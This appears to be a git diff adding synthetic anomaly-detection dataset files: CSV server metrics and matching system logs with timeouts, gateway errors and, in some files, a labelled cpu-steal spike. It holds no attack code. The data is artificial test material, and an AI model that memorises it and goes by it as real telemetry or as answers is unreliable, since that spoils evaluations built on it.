web-app[3105]: WARN response time for GET /api/v1/user/profile is high: 2116ms +Jul 15 10:04:05 web-app[3105]: ERROR upstream service [database-svc] timeout on query: SELECT * FROM orders WHERE user_id=... +Jul 15 10:04:10 cron[19987]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:10 web-app[3105]: INFO request to payment-gateway failed, will retry (attempt 2/3) +Jul 15 10:04:15 ingress-controller[809]: WARN GET /api/v1/products returned status 504 (Gateway Timeout) after 30s +Jul 15 10:04:20 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:04:20 web-app[3105]: WARN response time for GET /api/v1/user/profile is high: 4613ms +Jul 15 10:04:25 web-app[3105]: ERROR upstream service [database-svc] timeout on query: SELECT * FROM orders WHERE user_id=... +Jul 15 10:04:30 web-app[3105]: INFO request to payment-gateway failed, will retry (attempt 2/3) +Jul 15 10:04:35 ingress-controller[809]: WARN GET /api/v1/products returned status 504 (Gateway Timeout) after 30s +Jul 15 10:04:40 web-app[3105]: WARN response time for GET /api/v1/user/profile is high: 3510ms +Jul 15 10:04:45 web-app[3105]: ERROR upstream service [database-svc] timeout on query: SELECT * FROM orders WHERE user_id=... +Jul 15 10:04:50 web-app[3105]: INFO request to payment-gateway failed, will retry (attempt 2/3) +Jul 15 10:04:55 ingress-controller[809]: WARN GET /api/v1/products returned status 504 (Gateway Timeout) after 30s +Jul 15 10:05:25 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:06:15 cron[19987]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:06:30 kubelet[2101]: INFO routine sync completed for pod web-app-7b5b7c9d9-abcde +Jul 15 10:06:40 sshd[18234]: Connection closed by 10.0.1.5 port 54321 diff --git a/anom_dataset/scenario_5/anom_5_11.csv b/anom_dataset/scenario_5/anom_5_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c9f47dc51e5d461c6b8d21e5108ea58f0545146 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,39.91,1.41,41.19,26.98,0.97,0.8 +2025-07-02T10:00:05Z,35.67,0.04,49.91,23.65,0.66,1.42 +2025-07-02T10:00:10Z,32.36,0.68,41.11,33.85,0.7,0.88 +2025-07-02T10:00:15Z,17.08,0.06,46.85,34.87,1.23,0.86 +2025-07-02T10:00:20Z,31.07,1.05,49.16,26.18,1.04,1.49 +2025-07-02T10:00:25Z,17.17,1.37,48.7,26.94,0.69,0.86 +2025-07-02T10:00:30Z,27.79,0.07,49.76,32.2,0.93,1.64 +2025-07-02T10:00:35Z,19.16,0.23,45.04,21.1,0.62,1.67 +2025-07-02T10:00:40Z,34.8,0.13,45.68,33.02,0.75,1.69 +2025-07-02T10:00:45Z,34.45,0.41,41.85,28.8,0.96,0.71 +2025-07-02T10:00:50Z,15.96,0.51,45.38,29.87,1.46,1.38 +2025-07-02T10:00:55Z,31.66,0.49,49.03,20.74,0.52,1.17 +2025-07-02T10:01:00Z,31.57,0.51,47.41,27.81,0.85,0.97 +2025-07-02T10:01:05Z,21.1,0.94,44.49,32.25,0.56,0.8 +2025-07-02T10:01:10Z,32.17,1.23,48.86,20.07,0.66,0.91 +2025-07-02T10:01:15Z,30.19,0.55,46.05,27.96,1.49,0.79 +2025-07-02T10:01:20Z,26.81,1.01,40.15,22.03,0.87,1.11 +2025-07-02T10:01:25Z,18.69,0.76,41.0,32.1,1.26,0.96 +2025-07-02T10:01:30Z,27.53,1.17,48.64,24.2,1.39,1.63 +2025-07-02T10:01:35Z,35.01,1.38,48.1,31.32,1.04,1.08 +2025-07-02T10:01:40Z,36.94,0.19,45.47,31.31,0.94,0.98 +2025-07-02T10:01:45Z,23.07,1.22,48.08,22.4,0.58,1.11 +2025-07-02T10:01:50Z,28.99,1.3,48.37,20.7,1.34,1.0 +2025-07-02T10:01:55Z,31.25,0.78,45.62,25.63,1.28,1.64 +2025-07-02T10:02:00Z,37.47,0.51,44.1,27.93,1.16,1.22 +2025-07-02T10:02:05Z,22.69,1.46,47.24,31.31,0.89,1.71 +2025-07-02T10:02:10Z,25.67,1.0,47.93,29.19,0.52,1.53 +2025-07-02T10:02:15Z,34.62,0.99,46.08,31.82,1.38,1.52 +2025-07-02T10:02:20Z,17.02,0.52,41.05,24.63,0.51,0.78 +2025-07-02T10:02:25Z,16.35,0.56,49.97,33.48,1.37,1.34 +2025-07-02T10:02:30Z,29.28,0.41,43.78,20.74,0.73,0.96 +2025-07-02T10:02:35Z,31.65,0.89,42.1,25.28,1.49,0.83 +2025-07-02T10:02:40Z,33.75,0.3,45.78,23.33,0.99,1.25 +2025-07-02T10:02:45Z,26.83,0.41,41.21,28.52,0.55,1.31 +2025-07-02T10:02:50Z,38.44,0.29,44.38,34.55,0.76,0.96 +2025-07-02T10:02:55Z,33.75,0.72,47.94,21.02,1.47,1.7 +2025-07-02T10:03:00Z,20.26,0.95,45.36,24.11,0.9,1.69 +2025-07-02T10:03:05Z,36.13,0.31,47.38,23.42,1.31,1.07 +2025-07-02T10:03:10Z,17.95,0.54,46.57,32.36,0.99,1.71 +2025-07-02T10:03:15Z,35.6,1.22,48.08,21.08,1.25,1.75 +2025-07-02T10:03:20Z,39.45,49.69,49.9,21.93,0.84,1.64 +2025-07-02T10:03:25Z,42.44,44.01,42.18,31.32,1.06,1.66 +2025-07-02T10:03:30Z,28.14,35.02,45.75,27.05,1.43,1.72 +2025-07-02T10:03:35Z,17.46,32.15,40.03,22.23,0.71,1.36 +2025-07-02T10:03:40Z,21.3,36.2,47.0,31.0,1.09,1.71 +2025-07-02T10:03:45Z,35.77,33.1,41.92,28.99,1.42,1.73 +2025-07-02T10:03:50Z,43.77,30.39,47.86,34.4,0.86,1.55 +2025-07-02T10:03:55Z,19.92,41.97,41.46,31.5,0.63,0.72 +2025-07-02T10:04:00Z,40.21,31.81,45.41,31.3,0.85,1.74 +2025-07-02T10:04:05Z,17.28,46.69,44.61,34.54,0.67,1.49 +2025-07-02T10:04:10Z,34.87,49.97,45.53,26.23,1.27,0.99 +2025-07-02T10:04:15Z,38.53,31.37,45.53,28.98,0.89,0.96 +2025-07-02T10:04:20Z,18.15,31.82,48.48,24.65,1.09,1.55 +2025-07-02T10:04:25Z,39.5,51.98,48.6,33.46,1.38,1.3 +2025-07-02T10:04:30Z,25.89,32.65,46.52,33.26,0.98,1.18 +2025-07-02T10:04:35Z,24.43,39.44,40.58,20.99,0.6,1.06 +2025-07-02T10:04:40Z,17.35,34.05,43.38,33.05,1.08,0.9 +2025-07-02T10:04:45Z,27.18,32.12,45.52,22.92,0.51,1.32 +2025-07-02T10:04:50Z,28.8,51.03,49.83,30.4,0.9,0.73 +2025-07-02T10:04:55Z,33.86,38.95,43.13,27.16,1.12,1.4 +2025-07-02T10:05:00Z,35.82,39.99,47.58,22.66,0.73,0.79 +2025-07-02T10:05:05Z,19.76,31.52,44.17,32.84,1.05,0.75 +2025-07-02T10:05:10Z,30.77,38.07,44.22,21.67,0.94,1.69 +2025-07-02T10:05:15Z,37.02,44.12,46.74,33.78,1.17,1.3 +2025-07-02T10:05:20Z,39.14,43.63,40.52,24.62,1.15,1.61 +2025-07-02T10:05:25Z,28.55,40.86,49.43,20.07,0.82,0.88 +2025-07-02T10:05:30Z,36.06,0.27,40.85,23.58,1.32,0.81 +2025-07-02T10:05:35Z,17.02,1.38,42.51,20.26,0.58,1.07 +2025-07-02T10:05:40Z,30.45,1.26,43.86,33.21,0.95,0.87 +2025-07-02T10:05:45Z,18.99,0.68,46.1,30.33,0.59,0.9 +2025-07-02T10:05:50Z,23.75,1.18,45.44,21.15,1.08,1.44 +2025-07-02T10:05:55Z,17.05,1.45,46.73,30.66,1.37,1.15 +2025-07-02T10:06:00Z,17.5,0.09,43.18,32.78,0.57,0.91 +2025-07-02T10:06:05Z,20.91,0.59,41.72,33.65,1.07,1.63 +2025-07-02T10:06:10Z,37.1,0.58,45.35,21.37,0.86,0.97 +2025-07-02T10:06:15Z,25.62,0.12,49.96,26.69,1.15,1.43 +2025-07-02T10:06:20Z,26.94,0.02,44.04,21.37,0.56,1.35 +2025-07-02T10:06:25Z,30.96,0.77,43.53,30.88,1.24,0.74 +2025-07-02T10:06:30Z,28.9,0.97,40.32,20.77,0.85,1.51 +2025-07-02T10:06:35Z,29.94,1.19,43.92,23.92,1.0,1.55 +2025-07-02T10:06:40Z,15.95,0.19,43.88,27.44,0.65,1.01 +2025-07-02T10:06:45Z,29.21,0.98,44.88,31.49,1.17,1.78 +2025-07-02T10:06:50Z,22.63,1.31,41.4,22.25,1.2,1.79 +2025-07-02T10:06:55Z,22.58,0.24,44.72,24.82,1.49,1.18 +2025-07-02T10:07:00Z,39.96,0.63,45.78,23.24,0.89,1.49 +2025-07-02T10:07:05Z,22.92,0.71,48.79,30.48,1.02,1.75 +2025-07-02T10:07:10Z,22.04,0.16,42.99,20.28,0.76,0.85 +2025-07-02T10:07:15Z,18.05,0.63,42.83,27.38,1.4,0.8 +2025-07-02T10:07:20Z,15.3,0.07,47.25,33.0,0.93,1.51 +2025-07-02T10:07:25Z,22.43,0.04,40.82,21.99,0.61,1.17 diff --git a/anom_dataset/scenario_5/anom_5_11.log b/anom_dataset/scenario_5/anom_5_11.log new file mode 100644 index 0000000000000000000000000000000000000000..2676fc7b33f38f0ae8dea13dd82df74864e0e446 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_11.log @@ -0,0 +1,52 @@ +Jul 02 10:00:00 webapp[5543]: INFO User 170 authenticated successfully. +Jul 02 10:00:05 webapp[5543]: INFO User 164 authenticated successfully. +Jul 02 10:00:10 database[6789]: INFO routine check +Jul 02 10:00:25 sshd[10234]: INFO routine check +Jul 02 10:00:40 nginx[1123]: GET /api/data/68 HTTP/1.1 200 OK +Jul 02 10:00:45 database[6789]: INFO routine check +Jul 02 10:01:00 nginx[1123]: GET /api/data/25 HTTP/1.1 200 OK +Jul 02 10:01:15 sshd[10234]: INFO routine check +Jul 02 10:01:25 sshd[10234]: INFO routine check +Jul 02 10:01:30 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:01:35 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:02:00 nginx[1123]: GET /api/data/52 HTTP/1.1 200 OK +Jul 02 10:02:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:10 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:02:15 systemd[1]: INFO routine check +Jul 02 10:02:20 systemd[1]: INFO routine check +Jul 02 10:02:35 sshd[10234]: INFO routine check +Jul 02 10:02:40 sshd[10234]: INFO routine check +Jul 02 10:02:50 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:02:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:10 systemd[1]: INFO routine check +Jul 02 10:03:15 webapp[5543]: INFO User 174 authenticated successfully. +Jul 02 10:03:20 database[6789]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:03:30 nginx[1123]: ERROR Connection to message queue timed out +Jul 02 10:03:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:50 sshd[10234]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:04:00 webapp[5543]: WARN High latency detected in database query: 319ms +Jul 02 10:04:05 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:04:10 systemd[1]: INFO Successfully probed container metrics-collector +Jul 02 10:04:15 systemd[1]: INFO routine sync completed for pod web-app +Jul 02 10:04:20 sshd[10234]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:04:25 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:04:30 sshd[10234]: INFO Successfully probed container metrics-collector +Jul 02 10:04:35 systemd[1]: INFO routine sync completed for pod web-app +Jul 02 10:04:50 systemd[1]: INFO routine sync completed for pod web-app +Jul 02 10:04:55 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:05:00 webapp[5543]: INFO task processing delayed due to high system load +Jul 02 10:05:05 webapp[5543]: ERROR Connection to message queue timed out +Jul 02 10:05:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:40 database[6789]: INFO routine check +Jul 02 10:05:45 webapp[5543]: INFO User 113 authenticated successfully. +Jul 02 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:05:55 sshd[10234]: INFO routine check +Jul 02 10:06:05 nginx[1123]: GET /api/data/36 HTTP/1.1 200 OK +Jul 02 10:06:15 webapp[5543]: INFO User 111 authenticated successfully. +Jul 02 10:06:20 database[6789]: INFO routine check +Jul 02 10:06:30 database[6789]: INFO routine check +Jul 02 10:06:35 webapp[5543]: INFO User 157 authenticated successfully. +Jul 02 10:07:05 nginx[1123]: GET /api/data/83 HTTP/1.1 200 OK +Jul 02 10:07:10 sshd[10234]: INFO routine check +Jul 02 10:07:20 webapp[5543]: INFO User 194 authenticated successfully. diff --git a/anom_dataset/scenario_5/anom_5_12.csv b/anom_dataset/scenario_5/anom_5_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..59d7ec512e754db101300a573c24eaf4a479825f --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,19.549244134762954,0.38,33.5819434537025,31.29560526445492,1.0847084556489146,1.33413150312012 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+2025-07-15T10:07:25Z,27.15428148468098,0.22,39.67973749871227,37.89465453326637,1.454967653133343,1.044743758407026 diff --git a/anom_dataset/scenario_5/anom_5_12.log b/anom_dataset/scenario_5/anom_5_12.log new file mode 100644 index 0000000000000000000000000000000000000000..a89758c0391fa72cefe3eb09782ed0dc519148d8 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_12.log @@ -0,0 +1,31 @@ +Jul 15 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:00:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:00:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:01:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:01:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:01:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:02:30 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:02:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:03:25 webapp[11372]: ERROR: Failed to process user request, upstream request timeout +Jul 15 10:03:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:03:35 webapp[19442]: ERROR: Failed to process user request, upstream request timeout +Jul 15 10:03:45 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:03:45 webapp[15248]: WARN: Request to downstream_service_A timed out after 5000ms +Jul 15 10:04:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:04:05 webapp[18829]: INFO: High latency detected for GET /api/data endpoint +Jul 15 10:04:35 webapp[17667]: INFO: High latency detected for GET /api/data endpoint +Jul 15 10:04:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:04:40 webapp[11556]: nginx[1123]: GET /api/data HTTP/1.1 503 Service Unavailable +Jul 15 10:04:45 webapp[12996]: WARN: Request to downstream_service_A timed out after 5000ms +Jul 15 10:04:50 webapp[17107]: WARN: Database query exceeded expected time limit +Jul 15 10:05:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:05:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:05:25 webapp[10832]: WARN: Database query exceeded expected time limit +Jul 15 10:05:35 webapp[13639]: WARN: Database query exceeded expected time limit +Jul 15 10:05:40 webapp[16094]: nginx[1123]: GET /api/data HTTP/1.1 503 Service Unavailable +Jul 15 10:05:45 webapp[15381]: INFO: High latency detected for GET /api/data endpoint +Jul 15 10:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:06:15 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 15 10:06:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_5/anom_5_13.csv b/anom_dataset/scenario_5/anom_5_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..4c0e1db60a61c44293993732fc36a166789f656d --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cpu_steal +2025-07-02T10:00:00Z,19.67,41.43,20.98,1.14,1.13,0.17 +2025-07-02T10:00:05Z,19.13,36.17,27.27,1.49,1.78,0.15 +2025-07-02T10:00:10Z,21.24,41.47,26.72,1.01,1.09,0.68 +2025-07-02T10:00:15Z,16.15,41.43,23.53,0.67,0.93,0.79 +2025-07-02T10:00:20Z,19.48,36.15,25.18,0.52,0.92,0.92 +2025-07-02T10:00:25Z,16.31,38.13,29.25,0.69,1.54,0.82 +2025-07-02T10:00:30Z,24.27,42.91,20.29,1.1,1.34,0.06 +2025-07-02T10:00:35Z,24.95,35.65,23.56,1.33,0.86,0.38 +2025-07-02T10:00:40Z,21.52,35.16,28.4,0.98,1.47,0.48 +2025-07-02T10:00:45Z,19.18,38.29,28.01,1.24,1.74,0.14 +2025-07-02T10:00:50Z,18.43,36.86,27.58,1.29,1.21,0.12 +2025-07-02T10:00:55Z,22.55,36.64,29.15,1.15,0.98,0.48 +2025-07-02T10:01:00Z,21.89,36.3,28.17,1.35,1.56,0.68 +2025-07-02T10:01:05Z,24.15,42.68,28.44,1.22,1.77,0.67 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+2025-07-02T10:07:10Z,23.59,37.14,21.81,0.84,0.94,0.62 +2025-07-02T10:07:15Z,21.9,36.1,21.29,1.2,1.43,0.19 +2025-07-02T10:07:20Z,20.35,36.21,20.96,1.1,1.45,0.37 +2025-07-02T10:07:25Z,20.05,35.31,29.58,0.57,1.25,0.55 diff --git a/anom_dataset/scenario_5/anom_5_13.log b/anom_dataset/scenario_5/anom_5_13.log new file mode 100644 index 0000000000000000000000000000000000000000..e27f24bd3cbe658583ba1db97a76d94ec9ce8abc --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_13.log @@ -0,0 +1,40 @@ +Jul 02 10:00:10 database[5432]: INFO: new connection from 127.0.0.1 +Jul 02 10:00:15 database[5432]: INFO: new connection from 127.0.0.1 +Jul 02 10:00:25 app-worker[5144]: INFO: Task `process_payment` succeeded in 0.26s +Jul 02 10:00:30 database[5432]: INFO: new connection from 127.0.0.1 +Jul 02 10:00:35 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=... DPT=80 WINDOW=29200 RES=0x00 SYN +Jul 02 10:01:00 nginx[1023]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:01:05 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:01:15 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:01:25 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=... DPT=80 WINDOW=29200 RES=0x00 SYN +Jul 02 10:01:30 database[5432]: INFO: new connection from 127.0.0.1 +Jul 02 10:01:40 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:01:55 systemd[1]: Starting session-c17.scope. +Jul 02 10:02:10 app-worker[5144]: INFO: Task `process_payment` succeeded in 0.26s +Jul 02 10:02:15 nginx[1023]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:02:20 systemd[1]: Starting session-c17.scope. +Jul 02 10:02:55 database.slow_query[5432]: WARNING: Query on 'users' table took 12.06 seconds +Jul 02 10:03:10 app-worker[5413]: WARNING: High latency detected for external API call to billing-service +Jul 02 10:03:20 gunicorn[1123]: [CRITICAL] WORKER TIMEOUT (pid:10442) +Jul 02 10:03:45 nginx[1023]: GET /api/v1/data HTTP/1.1 504 (Gateway Time-out) +Jul 02 10:03:55 gunicorn[1123]: [WARNING] Worker (pid: 10590) is taking a long time to respond +Jul 02 10:04:10 database.slow_query[5432]: WARNING: Query on 'users' table took 12.06 seconds +Jul 02 10:04:15 nginx[1023]: GET /api/v1/data HTTP/1.1 504 (Gateway Time-out) +Jul 02 10:04:45 app-worker[5413]: WARNING: High latency detected for external API call to billing-service +Jul 02 10:04:50 nginx[1023]: GET /api/v1/data HTTP/1.1 504 (Gateway Time-out) +Jul 02 10:04:55 nginx[1023]: GET /api/v1/data HTTP/1.1 504 (Gateway Time-out) +Jul 02 10:05:10 database[5432]: INFO: disconnection from 127.0.0.1 +Jul 02 10:05:30 systemd[1]: Starting session-c17.scope. +Jul 02 10:05:40 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:05:55 nginx[1023]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:06:00 database[5432]: INFO: disconnection from 127.0.0.1 +Jul 02 10:06:10 app-worker[5144]: INFO: Task `process_payment` succeeded in 0.26s +Jul 02 10:06:20 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=... DPT=80 WINDOW=29200 RES=0x00 SYN +Jul 02 10:06:25 kernel: [UFW ALLOW] IN=eth0 OUT= MAC=... SRC=10.0.1.5 DST=10.0.1.10 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=... DPT=80 WINDOW=29200 RES=0x00 SYN +Jul 02 10:06:40 nginx[1023]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:06:45 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:06:50 gunicorn[1123]: [INFO] Booting worker with pid: 11302 +Jul 02 10:06:55 systemd[1]: Starting session-c17.scope. +Jul 02 10:07:00 nginx[1023]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:07:15 database[5432]: INFO: disconnection from 127.0.0.1 +Jul 02 10:07:20 database[5432]: INFO: new connection from 127.0.0.1 diff --git a/anom_dataset/scenario_5/anom_5_14.csv b/anom_dataset/scenario_5/anom_5_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..3979a3d43f7f2ae9aefd886ef0d73647a3fe09ce --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,19.67,44.43,21.47,1.14,1.13 +2025-08-15T10:00:05Z,19.13,39.17,30.9,1.49,1.78 +2025-08-15T10:00:10Z,21.24,44.47,30.08,1.01,1.09 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+2025-08-15T10:06:55Z,16.16,45.83,27.5,1.4,1.59 +2025-08-15T10:07:00Z,20.39,46.29,33.55,1.21,1.7 +2025-08-15T10:07:05Z,16.58,41.52,30.89,1.32,1.42 +2025-08-15T10:07:10Z,23.59,40.14,22.72,0.84,0.94 +2025-08-15T10:07:15Z,21.9,39.1,21.94,1.2,1.43 +2025-08-15T10:07:20Z,20.35,39.21,21.45,1.1,1.45 +2025-08-15T10:07:25Z,20.05,38.31,34.36,0.57,1.25 diff --git a/anom_dataset/scenario_5/anom_5_14.log b/anom_dataset/scenario_5/anom_5_14.log new file mode 100644 index 0000000000000000000000000000000000000000..9645c7ed2bbec996d02a2d4aa4c69f2111cd19a4 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_14.log @@ -0,0 +1,28 @@ +Aug 15 10:00:01 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:00:03 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:00:56 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:01:18 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:01:51 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:02:33 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:02:39 webapp[3456]: ERROR Failed to process job 'background-task-123': connection to database timed out. +Aug 15 10:02:44 webapp[3456]: ERROR Failed to process job 'background-task-123': connection to database timed out. +Aug 15 10:02:46 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:02:52 webapp[3456]: WARN Request to upstream service 'user-auth' timed out after 4500ms +Aug 15 10:03:13 nginx[1123]: GET /api/v2/heavy_query HTTP/1.1 504 Gateway Timeout +Aug 15 10:03:34 webapp[3456]: ERROR Failed to process job 'background-task-123': connection to database timed out. +Aug 15 10:03:41 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:03:48 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:03:53 nginx[1123]: GET /api/v2/heavy_query HTTP/1.1 504 Gateway Timeout +Aug 15 10:03:58 nginx[1123]: GET /api/v2/heavy_query HTTP/1.1 504 Gateway Timeout +Aug 15 10:04:09 webapp[3456]: ERROR Failed to process job 'background-task-123': connection to database timed out. +Aug 15 10:04:13 nginx[1123]: GET /api/v2/heavy_query HTTP/1.1 504 Gateway Timeout +Aug 15 10:04:31 apiserver[1122]: WARN High latency detected for query on resource 'pods'. Latency: 3.2s +Aug 15 10:04:36 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:04:41 apiserver[1122]: WARN High latency detected for query on resource 'pods'. Latency: 3.2s +Aug 15 10:04:53 nginx[1123]: GET /api/v2/heavy_query HTTP/1.1 504 Gateway Timeout +Aug 15 10:05:03 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:05:31 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:06:18 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Aug 15 10:06:26 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:07:21 kubelet[2105]: INFO routine sync completed for pod web-app-7b5b4f5b7d-abcde +Aug 15 10:07:27 systemd[1]: Started Session 5 of user admin. diff --git a/anom_dataset/scenario_5/anom_5_15.csv b/anom_dataset/scenario_5/anom_5_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..2e9f3e6dd57b1f26a163357466289659123bfbee --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,19.73,0.0,38.21,16.29,0.73,0.8 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b/anom_dataset/scenario_5/anom_5_15.log new file mode 100644 index 0000000000000000000000000000000000000000..563fc0091ce03c8a53107afa09f1c4115e5af16d --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_15.log @@ -0,0 +1,65 @@ +Aug 15 10:00:08 kernel: [TIMESTAMP] audit: type=1400 audit(SESSION): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/proc/fs/nfsd/mounts" pid=14790 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Aug 15 10:00:16 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:00:21 cron[14887]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:00:26 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:31 myapp[14187]: Processed batch job #1059 successfully. +Aug 15 10:00:36 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:00:41 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:00:47 myapp[16789]: Processed batch job #1230 successfully. +Aug 15 10:01:07 sshd[12305]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:01:13 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:18 sshd[11334]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:01:28 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:31 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:01:43 gunicorn[13007]: [CRITICAL] WORKER TIMEOUT (pid:13007) +Aug 15 10:01:48 myapp[12889]: WARN: Downstream service 'auth-service' is not responding, retrying... +Aug 15 10:01:53 myapp[13236]: ERROR: Database query timed out after 15000ms +Aug 15 10:01:56 gunicorn[12932]: [CRITICAL] WORKER TIMEOUT (pid:12932) +Aug 15 10:02:03 myapp[19242]: ERROR: Failed to connect to Redis cache: Connection timed out +Aug 15 10:02:16 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:02:28 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment-xyz +Aug 15 10:02:47 myapp[11257]: User authentication successful for 'testuser' +Aug 15 10:02:57 sshd[18834]: Accepted publickey for appuser from 10.0.2.2 port 54322 ssh2 +Aug 15 10:03:03 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 15 10:03:06 